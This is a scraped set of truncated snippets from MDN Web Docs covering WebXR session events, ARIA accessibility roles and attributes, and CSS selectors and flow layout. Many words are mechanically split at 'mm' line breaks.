the webxr event selectend is sent to an xrsession when one of its input sources ends its primary action or when an input source that's in the process of handling an ongoing primary action is disconnected without successfully completing the action. primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onselectend for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the follow...
... working draft initial definition. ...
XRSession: selectstart event - Web APIs
the webxr event selectstart is sent to an xrsession when the user begins a primary action on one of its input sources. primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onselectstart for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses addeventlistener() to establish handlers for the selection events: selectstart, selectend, and select. this sn...
... working draft initial definition. ...
XRSession: squeeze event - Web APIs
the webxr event squeeze is sent to an xrsession when one of the session's input sources has completed a primary squeeze action. examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueeze for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the squeeze event. the handler fetches th...
... working draft initial definition. ...
XRSession: squeezeend event - Web APIs
the webxr event squeezeend is sent to an xrsession when one of its input sources ends its primary action or when an input source that's in the process of handling an ongoing primary action is disconnected without successfully completing the action. primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueezeend for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources. ...
... working draft initial definition. ...
XRSession.visibilityState - Web APIs
visible to the user, it is not the user's primary focus at the moment; it's also possible the session is not currently visible at all. in order to optimize resource utilization, the user agent may be handling the session's requestanimationframe() callbacks at a throttled rate. input controllers are not being processed for the session. ...
... important to keep in mind that because an i
mmersive webxr session is potentially being shown using a different display than the html document in which it's running (such as when being shown on a headset), the value of a session's visibilitystate may not necessarily be the same as the owning document's visibilitystate. for instance, if the viewer is using a headset tethered to a computer and the i
mmersive scene is obscured by a configuration ui, the user could peek out from behind the headset and still be able to see the document itself on their computer's monitor. specifications specification status co
mment webxr device apithe definition of 'xrsession.visibilitystate' in that specification. working draft initial definition. ...
XRView - Web APIs
ne, in order to transform each surface's normal vectors to ensure that the light is reflected in the correct direction given the orientation and position of the surface relative to the light source or sources. it's computed by inverting then transposing the model view matrix: mat4.invert(normalmatrix, modelviewmatrix); mat4.transpose(normalmatrix, normalmatrix); teleporting an object to progra
mmatically move and/or rotate (often referred to as teleporting) an object, you need to create a new reference space for that object which applies a transform that encapsulates the desired changes. the createteleporttransform() function returns the transform needed to move and rotate an object whose current situation is described by the reference space refspace to a new position and orientation whic...
... the caller. to use this function, we simply pass the returned reference space into xrframe.getpose() or getviewerpose(), as appropriate for yoru needs. the xrpose returned will then be used to actuall render the scene for the current frame. you can find a more extensive and complete example in our article movement, orientation, and motion. specifications specification status co
mment webxr device apithe definition of 'xrview' in that specification. working draft initial definition. ...
XRViewerPose - Web APIs
splayed on the xr device. usage notes the xrviewerpose object is used to describe the state of a viewer of a webxr scene as it's tracked by the user's xr hardware. the viewer may be the virtual representation of the user, or it may represent another device or interface which may serve as the source of a position and orientation that make up a view upon the scene. for example, every player in a
mmorpg might have an instance of xrviewerpose to provide a way to calculate what they can see; if the game provides a mechanism that tells the player if another player sees them, or that they see another player, this information becomes crucial. an xrviewerpose is always obtained and referenced relative to an existing xrreferencespace. this ensures that positions and orientations are reported using...
... working draft initial definition. ...
XRWebGLLayer - Web APIs
t to contain drawing to the area of the framebuffer designated for the specified view's contents. in this way, for example, the rendering of the left eye's point of view and of the right eye's point of view are each placed into the correct parts of the framebuffer. static methods getnativeframebufferscalefactor() returns the scaling factor that can be used to scale the resolution of the reco
mmended webgl framebuffer resolution to the rendering device's native resolution. examples binding the layer to a webgl context this snippet, taken from drawing a frame in movement, orientation, and motion: a webxr example, shows how the xrwebgllayer is obtained from the xrsession object's rendering state and is then bound as the current rendering webgl framebuffer by calling the webgl bindframe...
... working draft initial definition. ...
Using the aria-label attribute - Accessibility
example 1: multiple labels in the example below, a button is styled to look like a typical "close" button, with an x in the middle. since there is nothing indicating that the purpose of the button is to close the dialog, the aria-label attribute is used to provide the label to any assistive technologies. ...
..."mydialog.close()">x</button> notes the most co
mmon accessibility api mapping for a label is the accessible name property. attributes, including aria-label declarations, are ignored by most automatic translation services. ...
Using the aria-valuetext attribute - Accessibility
e: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: the snippet below shows a simple slider for selecting a day of the week. the value of the slider is numeric, and the aria-valuetext attribute is used to provide the name of the day. ...
... name of the day. the application would progra
mmatically update aria-valuetext depending on aria-valuenow. ...
Using the group role - Accessibility
description this technique demonstrates how to use the group role and describes the effect it has on browsers and assistive technology. the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a table of contents or a page su
mmary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page. when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it. a group should be used to form a logical collection of items with related functionality, such as children in a tree widget forming a collection of sibli...
...ry treeview example using computed properties navigation treeview example using declared properties notes group members that are outside of the dom subtree of the group need to have explicit relationships assigned to them in order to participate in the group. aria attributes used group related aria techniques region role compatibility tbd: add support information for co
mmon ua and at product combinations additional resources aria authoring practices – accessible name guidance by role – group ...
ARIA: timer role - Accessibility
r must take full responsibility for not letting users get stuck in a focus limbo or trap focus inside something the user cannot exit of. all aspects of interaction, including returning to the regular web content on other parts of the page, must be handled. use wisely, and cautiously! examples some prominent web timers include clocks, stop watches and countdowns, such as ticketing websites, e-co
mmerce sites, and event countdowns (see https://countingdownto.com/). as an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. the clock is updated each minute, with the new remaining time simply overwriting the current content. <div id="clock" role="timer" aria-live="off">20</div> <button onclick="starttimer('clock')">start</button> /* basic javascript ...
...ated, the entirety of the content is announced in full (e.g. "time: 17:34"). ...
ARIA: banner role - Accessibility
company name" /> <h1>title</h1> <h2>subtitle</h2> </div> by default, the html5 <header> element has an identical meaning to the banner landmark, unless it is a descendant of <aside>, <article>, <main>, <nav>, or <section>. description a banner landmark role converts the container element upon which it is applied into a header. it should be reserved for the site header content that is co
mmon across the site generally at the top of every page. the banner is typically includes things a logo or corporate identity, possibly a site-specific search tool, and is generally what your marketing team would call the header or top banner of the site. if the header element technique is not being used for that banner, a declaration of role="banner" should be used to define a banner landmark to a...
...ave access to the underlying html. if this is the case, you can add the role of banner to the main header of the page with javascript. identifying the page's banner in this way will help improve the site's accessibility. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria: banner role' in that specification. reco
mmendation wai-aria authoring practicesthe definition of 'banner landmark role' in that specification. working draft screen reader support tbd ...
ARIA: grid role - Accessibility
...
...ty concerns even if the keyboard use is properly implemented, some users might not be aware that they have to use the arrow keys. make sure that the functionality and interaction needed can be best achieved using the grid role. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'role grid' in that specification. reco
mmendation wai-aria authoring practicesthe definition of 'role grid' in that specification. working draft screen reader support tbd ...
ARIA: gridcell role - Accessibility
the tab key. if a gridcell is conditionally toggled into a state where editing is prohibited, toggle aria-readonly on the gridcell element. expandable cells in a treegrid, gridcells may be made expandable by toggling the aria-expanded attribute. note that if this attribute is provided, it applies only to the individual gridcell. associated wai-aria roles, states, and properties grid co
mmunicates that a parent element is a a table or tree style grouping of information. row required to co
mmunicate the gridcell is part of a row of a table-style grouping of information. columnheader specifies which element is the associated column header. aria-colindex identifies the position of an element in relation to the rest of the table-style grouping of information's columns.
...ated aria roles and properties have poor support with assistive technologies. if at all possible, utilize native html table markup in their place. best practices the first rule of aria is: if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding an aria role, state or property to make it accessible. as such, it is reco
mmended to use the utilize native html table markup instead of recreating a table's form and functionality with aria and javascript. ...
ARIA: switch role - Accessibility
aria in html working draft describes how aria's features integrate into html. ...
... } the most interesting part is probably the use of attribute selectors and the :first-child and :last-child pseudo-classes to do all the heavy lifting of changing the appearance of the switch based on whether it's on or off. result the result looks like this: specifications specification status co
mment accessible rich internet applications (wai-aria) 1.1 reco
mmendation defines aria in general along with all roles, properties, and so forth. aria in html working draft describes how aria's features integrate into html. ...
ARIA: textbox role - Accessibility
a logical descendant as indicated by the aria-owns attribute, it indicates when that element has focus, when it is part of a composite widget such as a combobox. for example, in a combobox, focus may remain on the textbox while the value of aria-activedescendant on the textbox element refers to a descendant of a popup listbox that is controlled by the textbox.this attribute must be updated progra
mmatically as the focus changes. aria-autocomplete attribute indicates whether and how the user's input into the field could trigger display of a prediction of the intended value. it supports the following values: inline: predicted text is inserted after the caret. list: predicted text is presented as a collection of values. both: predicted text is presented as a collection of values, with...
... see also aria: search role ...
Basic form hints - Accessibility
ibedby="descriptionrevert">revert</button> <div id="descriptionrevert">reverting will undo any changes that have been made since the last save.</div> note: the aria-describedby attribute is used for other purposes, in addition to form controls. required and invalid fields note: now that required is available to more than 97% of users globally, it is no longer reco
mmended that you use both required and aria-required. web developers typically use presentational strategies to indicate required or invalid fields. assistive technologies (ats) cannot necessarily infer this information from the presentation. aria provides attributes for indicating that form controls are required or invalid: the aria-required property can be applied to a form element, to indica...
...tional strategies to indicate required or invalid fields. assistive technologies (ats) cannot necessarily infer this information from the presentation. aria provides attributes for indicating that form controls are required or invalid: the aria-required property can be applied to a form element, to indicate to an at that it is required to complete the form. the aria-invalid state can be progra
mmatically applied, to indicate to an at which data fields have incorrect data, so that the user knows they have entered invalid data. the example below shows a simple form with three fields. on lines 4 and 12, the aria-required attributes are set to true (in addition to the asterisks next to the labels), indicating that the name and email fields are required. the second part of the example, a sni...
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
firefox, it tells you “delete history after 21 days”?, followed by the announcement that you’re in a textbox, and that it contains the number 21. isn’t that cool? you do not need to navigate around to find out the unit. “days” could easily be “months” or “years”, and in many ordinary dialogs, there is no way to find this out other than navigating around with screen reviewing co
mmands. the solution is in an aria attribute called aria-labelledby. its parameter is a string that consists of the ids of the html elements you want to concatenate into a single accessible name. both aria-labelledby and aria-describedby are specified on the form element that is to be labelled, for example an <input> in both cases, the label for/label control bindings that may also exist are overr...
... a note for jaws 8 users jaws 8.0 has its own logic to find labels, causing it to always override the accessiblename the textbox of an html document gets. with jaws 8, i have not found a way to make it to accept the label from the example above. but nvda and window-eyes do it just fine, and orca on linux also has no problems. tbd: add more compatibility info can this be done without aria? co
mmunity member ben millard has pointed out in a blog post that controls can be embedded in labels as shown in the above example using html 4, simply by embedding the input into the label. thanks for that info, ben! it is very useful and shows that some techniques that have been available for years escape even the gurus sometimes. this technique works in firefox; however, it doesn't currently work in...
Text labels and names - Accessibility
details were successfully updated. you can change your details at any time in the user account section.</p> <button>close</button> </div> see also role="dialog" role="alertdialog" aria-label aria-labelledby wai-aria: dialog role dialog authoring practices documents must have a title it is important on each html document to include a <title> that describes the page's purpose. a co
mmon navigation technique for users of assistive technology is to infer what content a page contains by reading its title. if the title is not available, they have to navigate the page to determine its content, which can be a time consuming and potentially confusing process. examples the title for the reference article about the <title> element is as follows: <title><title>: the document ti...
...c aria toolbar example related wcag success criteria 1.1.1 non-text content (a) all non-text content that is presented to the user has a text alternative that serves the equivalent purpose, except for the situations listed in the above link. 2.4.4 link purpose (in context) (a) the purpose of each link can be determined from the link text alone or from the link text together with its progra
mmatically determined link context, except where the purpose of the link would be ambiguous to users in general. 2.4.9 link purpose (link only) (aaa) a mechanism is available to allow the purpose of each link to be identified from link text alone, except where the purpose of the link would be ambiguous to users in general. ...
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
touch use momentum-based scrolling, where the content continues to scroll for a while after finishing the scroll gesture and removing your finger from the touchscreen. the speed and duration of the continued scrolling is proportional to how vigorous the scroll gesture was. ...
...momentum scrolling </p> </div> <div class="scroll-auto"> <p> this paragraph does not. </p> </div> css div { width: 100%; overflow: auto; } p { width: 200%; background: #f5f9fa; border: 2px solid #eaf2f4; padding: 10px; } .scroll-touch { -webkit-overflow-scrolling: touch; /* lets it scroll lazy */ } .scroll-auto { -webkit-overflow-scrolling: auto; /* stops scrolling i
mmediately */ } results specifications not part of any standard. apple has a description in the safari css reference. ...
-webkit-text-stroke-width - CSS: Cascading Style Sheets
the -webkit-text-stroke-width css property specifies the width of the stroke for text. syntax /* keyword values */ -webkit-text-stroke-width: thin; -webkit-text-stroke-width: medium; -webkit-text-stroke-width: thick; /* <length> values */ -webkit-text-stroke-width: 2px; -webkit-text-stroke-width: 0.1em; -webkit-text-stroke-width: 1
mm; -webkit-text-stroke-width: 5pt; /* global values */ -webkit-text-stroke-width: inherit; -webkit-text-stroke-width: initial; -webkit-text-stroke-width: unset; values <line-width> the width of the stroke. formal definition initial value0applies toall elementsinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples varying stroke widths css p { margin: 0; font-size: 4em; -webkit-text-stro...
...troke. formal definition initial value0applies toall elementsinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples varying stroke widths css p { margin: 0; font-size: 4em; -webkit-text-stroke-color: red; } #thin { -webkit-text-stroke-width: thin; } #medium { -webkit-text-stroke-width: 3px; } #thick { -webkit-text-stroke-width: 1.5
mm; } html <p id="thin">thin stroke</p> <p id="medium">medium stroke</p> <p id="thick">thick stroke</p> results specifications specification status co
mment compatibility standardthe definition of '-webkit-text-stroke-width' in that specification. living standard initial standardization safari css reference '-webkit-text-stroke-width' in that do...
:-moz-ui-invalid - CSS: Cascading Style Sheets
keystroke. if the element is required, the preceding rules apply only if the user has changed the value or attempted to submit the form. the result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control. however, if the user is trying to correct a previously-flagged value, the control shows i
mmediately when the value becomes valid. required items have the pseudo-class applied only if the user changes them or attempts to submit an unchanged valid value. by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have this pseudo-class applied. see the :invalid pseudo-class for an example that shows how to override the default style. th...
...nged valid value. by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have this pseudo-class applied. see the :invalid pseudo-class for an example that shows how to override the default style. the specification for :user-invalid is still in progress. syntax syntax not found in db! specifications specification status co
mment selectors level 4the definition of ':user-invalid' in that specification. working draft :user-invalid ...
::backdrop - CSS: Cascading Style Sheets
the ::backdrop css pseudo-element is a box the size of the viewport which is rendered i
mmediately beneath any element being presented in full-screen mode. this includes both elements which have been placed in full-screen mode using the fullscreen api and <dialog> elements. when multiple elements have been placed into full-screen mode, the backdrop is drawn i
mmediately beneath the frontmost such element, and on top of the older full-screen elements. /* backdrop is only displayed when dialog is opened with dialog.showmodal() */ dialog::backdrop { background: rgba(255,0,0,.25); } all full-screen elements are placed in a last-in/first out (lifo) stack in the top layer, which is a special layer in the viewport which is always rendered last (and therefore on top) before drawing the viewport'...
... browsers. video::backdrop { background-color: #448; } the resulting screen looks like this: note the dark grey-blue letterbox effect above and below where the backdrop is visible. normally that area is black, but its appearance has been altered by the css above. you can see this example in action or view or remix the code on glitch. specifications specification status co
mment fullscreen apithe definition of '::backdrop' in that specification. living standard initial definition. ...
::before (:before) - CSS: Cascading Style Sheets
s its gloss</li> <li>flip it over and fry for a couple more minutes</li> <li>serve with your favorite topping</li> </ol> css li { padding:0.5em; } li[aria-current='step'] { font-weight:bold; } li[aria-current='step']::after { content: " \21e6"; /* hexadecimal for unicode leftwards white arrow*/ display: inline; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::before' in that specification. working draft no significant changes to the previous specification. css animations working draft allows animations on properties defined on pseudo-elements. selectors level 3the definition of '::before' in that specification. reco
mmendation introduces the two-colon sy...
... working draft no significant changes to the previous specification. css animations working draft allows animations on properties defined on pseudo-elements. ...
::cue - CSS: Cascading Style Sheets
...
...les styling webvtt cues as white-on-black the following css sets the cue style so that the text is white and the background is a translucent black box. ::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); } specifications specification status co
mment webvtt: the web video text tracks formatthe definition of '::cue' in that specification. candidate reco
mmendation initial definition. ...
::marker - CSS: Cascading Style Sheets
the ::marker css pseudo-element selects the marker box of a list item, which typically contains a bullet or number. it works on any element or pseudo-element set to display: list-item, such as the <li> and <su
mmary> elements. ::marker { color: blue; font-size: 1.2em; } allowable properties only certain css properties can be used in a rule with ::marker as a selector: all font properties the white-space property color text-combine-upright, unicode-bidi and direction properties the content property all animation and transition properties the specification states that additional css properties may be supported in future. syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; ...
... and direction properties the content property all animation and transition properties the specification states that additional css properties may be supported in future. syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::marker' in that specification. working draft no significant change. css lists module level 3the definition of '::marker' in that specification. working draft initial definition. ...
::selection - CSS: Cascading Style Sheets
delines (wcag), text content must have a contrast ratio of 4.5:1, or 3:1 for larger text such as headings. ...
..., guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 specifications specification status co
mment css pseudo-elements level 4the definition of '::selection' in that specification. working draft initial definition. note: ::selection was in drafts of css selectors level 3, but it was removed in the candidate reco
mmendation phase because its was under-specified (especially with nested elements) and interoperability wasn't achieved (based on discussion in the w3c style mailing list). it returned in pseudo-elements level 4. ...
:checked - CSS: Cascading Style Sheets
t image gallery you can use the :checked pseudo-class to build an image gallery with full-size images that show only when the user clicks on a thumbnail. see this demo for a possible cue. note: for an analogous effect, but based on the :hover pseudo-class and without hidden radioboxes, see this demo, taken from the :hover reference page. specifications specification status co
mment html living standardthe definition of ':checked' in that specification. living standard no change. html5the definition of ':checked' in that specification. reco
mmendation defines the semantic regarding html. selectors level 4the definition of ':checked' in that specification. working draft no change. selectors level 3the definition of '...
... definition of ':checked' in that specification. living standard no change. html5the definition of ':checked' in that specification. reco
mmendation defines the semantic regarding html. selectors level 4the definition of ':checked' in that specification. working draft no change. selectors level 3the definition of ':checked' in that specification. reco
mmendation defines the pseudo-class, but not the associated semantic browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefo...
:disabled - CSS: Cascading Style Sheets
selectors level 4the definition of ':disabled' in that specification. working draft no change. selectors level 3the definiti...
... billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; } } result specifications specification status co
mment html living standardthe definition of ':disabled' in that specification. living standard no change. html5the definition of ':disabled' in that specification. reco
mmendation defines the semantics of html and forms. selectors level 4the definition of ':disabled' in that specification. working draft no change. selectors level 3the definition of ':disabled' in that specification. reco
mmendation defines the pseudo-class, but not the associated semantics. ...
:enabled - CSS: Cascading Style Sheets
selectors level 4the definition of ':enabled' in that specification. working draft no change. selectors level 3the definition...
...disabled"><br> <input type="button" value="submit"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result specifications specification status co
mment html living standardthe definition of ':enabled' in that specification. living standard no change. html5the definition of ':enabled' in that specification. reco
mmendation defines the semantics for html and forms. selectors level 4the definition of ':enabled' in that specification. working draft no change. selectors level 3the definition of ':enabled' in that specification. reco
mmendation defines the pseudo-class, but not the associated semantics. ...
:first-of-type - CSS: Cascading Style Sheets
...
.../div> </article> css article :first-of-type { background-color: pink; } result specifications specification status co
mment selectors level 4the definition of ':first-of-type' in that specification. working draft matching elements are not required to have a parent. selectors level 3the definition of ':first-of-type' in that specification. reco
mmendation initial definition. ...
:focus-within - CSS: Cascading Style Sheets
ent that has received focus or contains an element that has received focus. in other words, it represents an element that is itself matched by the :focus pseudo-class or has a descendant that is matched by :focus. (this includes descendants in shadow trees.) /* selects a <div> when one of its descendants is focused */ div:focus-within { background: cyan; } this selector is useful, to take a co
mmon example, for highlighting an entire <form> container when the user focuses on one of its <input> fields. syntax :focus-within examples in this example, the form will receive special coloring styles when either text input receives focus. html <p>try typing into this form.</p> <form> <label for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="fa...
... working draft initial definition. ...
:focus - CSS: Cascading Style Sheets
accessible visual focus indicators: give your site some focus! tips for designing useful and usable focus indicators :focus { outline: none; } never just remove the focus outline (visible focus indicator) without replacing it with a focus outline that will pass wcag 2.1 sc 1.4.11 non-text contrast. quick tip: never remove css outlines specifications specification status co
mment html living standardthe definition of ':focus' in that specification. living standard defines html-specific semantics. selectors level 4the definition of ':focus' in that specification. working draft no change. selectors level 3the definition of ':focus' in that specification. reco
mmendation no change. css level 2 (revision 1)the defini...
...tion of ':focus' in that specification. living standard defines html-specific semantics. selectors level 4the definition of ':focus' in that specification. working draft no change. selectors level 3the definition of ':focus' in that specification. reco
mmendation no change. css level 2 (revision 1)the definition of ':focus' in that specification. reco
mmendation initial definition. ...
:indeterminate - CSS: Cascading Style Sheets
selectors level 4the definition of ':indeterminate' in that specification. working draft no change. ...
...{ margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status co
mment html living standardthe definition of ':indeterminate' in that specification. living standard no change. html5the definition of ':indeterminate' in that specification. reco
mmendation defines the semantics of html and constraint validation. selectors level 4the definition of ':indeterminate' in that specification. working draft no change. ...
:invalid - CSS: Cascading Style Sheets
people who have certain types of color blindness will be unable to determine the input's state unless it is accompanied by an additional indicator that does not rely on color to convey meaning. typically, descriptive text and/or an icon are used. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.1 | w3c understanding wca...
...the group is selected. (grouped radio buttons share the same value for their name attribute.) gecko defaults by default, gecko does not apply a style to the :invalid pseudo-class. however, it does apply a style (a red "glow" using the box-shadow property) to the :-moz-ui-invalid pseudo-class, which applies in a subset of cases for :invalid. specifications specification status co
mment html living standardthe definition of ':invalid' in that specification. living standard no change. html5the definition of ':invalid' in that specification. reco
mmendation defines the semantics of html and constraint validation. selectors level 4the definition of ':invalid' in that specification. working draft initial definition. ...
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
more) unordered lists use a square */ :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) ul, :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) menu, :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) dir { list-style-type: square; } simplifying section selectors the :is() pseudo-class is particularly useful when dealing with html5 sections and headings. since <section>, <article>, <aside>, and <nav> are co
mmonly nested together, without :is(), styling them to match one another can be tricky. for example, without :is(), styling all the <h1> elements at different depths could be very complicated: /* level 0 */ h1 { font-size: 30px; } /* level 1 */ section h1, article h1, aside h1, nav h1 { font-size: 25px; } /* level 2 */ section section h1, section article h1, section aside h1, section nav h1, a...
...d even if they support :valid. difference between :is() and :where() the diffference between the two is that :is() counts towards the specificity of the overall selector (it takes the specificity of its most specific argument), whereas :where() has a specificity value of 0. this is demonstrated by the example on the :where() reference page. specifications specification status co
mment selectors level 4the definition of ':is()' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explore...
@supports - CSS: Cascading Style Sheets
editor's draft adds the selector() function. css conditional rules module level 3the d...
...ide the @supports block, otherwise it will be partially applied in browsers which don't support the `of` argument of :nth-child(…) is supported */ :is(:nth-child(1n of ul, ol) a, details > su
mmary) { … /* css applied when the :is(…) selector and the `of` argument of :nth-child(…) are both supported */ } } specifications specification status co
mment css conditional rules module level 4the definition of '@supports' in that specification. editor's draft adds the selector() function. css conditional rules module level 3the definition of '@supports' in that specification. candidate reco
mmendation initial definition. browser compatibility the compatibility table on this page is generated from structure...
viewport-fit - CSS: Cascading Style Sheets
viewport fills the screen. syntax /* keyword values */ viewport-fit: auto; viewport-fit: contain; viewport-fit: cover; values auto this value doesn’t affect the initial layout viewport, and the whole web page is viewable. contain the viewport is scaled to fit the largest rectangle inscribed within the display. cover the viewport is scaled to fill the device display. it is highly reco
mmended to make use of the safe area inset variables to ensure that important content doesn't end up outside the display. this descriptor hasn't been added to https://github.com/mdn/data/blob/master/css/at-rules.json yet. accessibility concerns when using the viewport-fit descriptor, one must keep in mind that not all device displays are rectangular, and should therefore make use of the safe are...
...e must keep in mind that not all device displays are rectangular, and should therefore make use of the safe area inset variables. formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status co
mment css round display level 1the definition of '"viewport-fit" descriptor' in that specification. working draft initial definition. ...
CSS Basic User Interface - CSS: Cascading Style Sheets
...
...le outline-color outline-offset resize text-overflow user-select guides using url values for the cursor property explains how a url can be used with the cursor property to produce custom cursors. specifications specification status co
mment css basic user interface module level 4 working draft css basic user interface module level 3 reco
mmendation css level 2 (revision 1) reco
mmendation initial definition. ...
CSS Charsets - CSS: Cascading Style Sheets
css charsets is a module of css that lets you specify the character set used in the style sheet. ...
... css charsets is a module of css that lets you specify the character set used in the style sheet. ...
CSS Display - CSS: Cascading Style Sheets
ty of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing co
mmon layouts using grids specifications specification status co
mment css display module level 3the definition of 'display' in that specification. candidate reco
mmendation added run-in, flow, flow-root, contents and multi-keyword values. css level 2 (revision 1)the definition of 'display' in that specification. reco
mmendation added the table model v...
...basic values: none, block, inline and list-item. ...
Block and inline layout in normal flow - CSS: Cascading Style Sheets
e them a width, they will continue to lay out one below the other - even if there would be space for them to be side by side. each will start against the start edge of the containing block, so the place at which sentences would begin in that writing mode. margin collapsing the spec explains that margins between block elements collapse. this means that if you have an element with a top margin i
mmediately after an element with a bottom margin, rather than the total space being the sum of these two margins, the margin collapses, and so will essentially become as large as the larger of the two margins. in the example below, the paragraphs have a top margin of 20px and a bottom margin of 40px. the size of the margin between the paragraphs is 40px as the smaller top margin on the second parag...
...s. it would not generally make sense for that <strong> element to be displayed as a block level element, breaking onto a new line. if you did want all <strong> elements to display as block elements, you could do so by setting display: block on <strong>. this means that you can always use most of the semantic html elements to markup your content, and then change the way it displays using css. su
mmary in this guide, we have looked at how elements display in normal flow, as block and inline elements. due to the default behaviour of these elements, an html document with no css styling at all, will display in a readable way. by understanding how normal flow works you will find layout easier, as you understand the starting point for making changes to how elements are displayed. see also cs...
Flow Layout and Overflow - CSS: Cascading Style Sheets
tical scrolling. the auto example below only adds the scrollbar in the direct we need to scroll. as we have already learned, using any of these values, other than the default of visible, will create a new block formatting context. note: in the working draft of overflow level 3, there is an additional value overflow: clip. this will act like overflow: hidden however it does not allow for progra
mmatic scrolling, the box becomes non-scrollable. in addition it does not create a block formatting context. the overflow property is in reality a shorthand for the overflow-x and overflow-y properties. if you specify only one value for overflow, this value is used for both axes. however, you can specify both values in which case the first is used for overflow-x and therefore the horizontal directi...
... listing of articles, for example, and you display the listings in fixed height boxes which only take a limited amount of text. it may not be obvious to the reader that there is more content to click through to when clicking the box or the title. an ellipsis indicates clearly the fact there is more content. the specification would allow a string of content or a regular ellipsis to be inserted. su
mmary whether you are in continuous media on the web or in a paged media format such as print or epub, understanding how content overflows is useful when dealing with any layout method. by understanding how overflow works in normal flow, you should find it easier to understand the implications of overflow content in layout methods such as grid and flexbox. ...
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
e-size of 100px, it doesn’t matter whether we are in a horizontal or a vertical writing mode, inline-size will always mean the size in the inline direction. the css logical properties and values specification includes logical versions of the properties that control margins, padding and borders as well as other mappings for things that we have typically used physical directions to specify. su
mmary in most cases, flow layout works as you would expect it to when changing the writing mode of the document or parts of the document. this can be used to properly typeset vertical languages or for creative reasons. css is making this easier by way of introducing logical properties and values so that when working in a vertical writing mode sizing can be based on element's inline and block size. ...
...y typeset vertical languages or for creative reasons. css is making this easier by way of introducing logical properties and values so that when working in a vertical writing mode sizing can be based on element's inline and block size. this will be useful when creating components which can work in different writing-modes. see also writing modes external resources css writing modes, jen si
mmons on 24 ways ...
Introduction to formatting contexts - CSS: Cascading Style Sheets
for telling the browser how you wish to deal with overflowing content. there are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a bfc. in addition, it is potentially not very readable for a future developer, as it may not be obvious why you used overflow for this purpose. if you do this, it would be a good idea to co
mment the code to explain. explicitly creating a bfc using display: flow-root using display: flow-root (or display: flow-root list-item) on the containing block will create a new bfc without any other potentially problematic side-effects. with display: flow-root on the <div>, everything inside that container participates in the block formatting context of that container, and floats will not pok...
... be pushed apart by padding and borders. other formatting contexts this guide covers flow layout and is therefore not referring to other possible formatting contexts. as such, it is useful to understand that creating any kind of formatting context will change the way elements inside that formatting context behave. this behavior is always described in the specification and also here on mdn. su
mmary in this guide, we have looked in more detail at the block and inline formatting contexts and the important subject of creating a block formatting context (bfc). in the next guide, we will find out how normal flow interacts with different writing modes. ...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
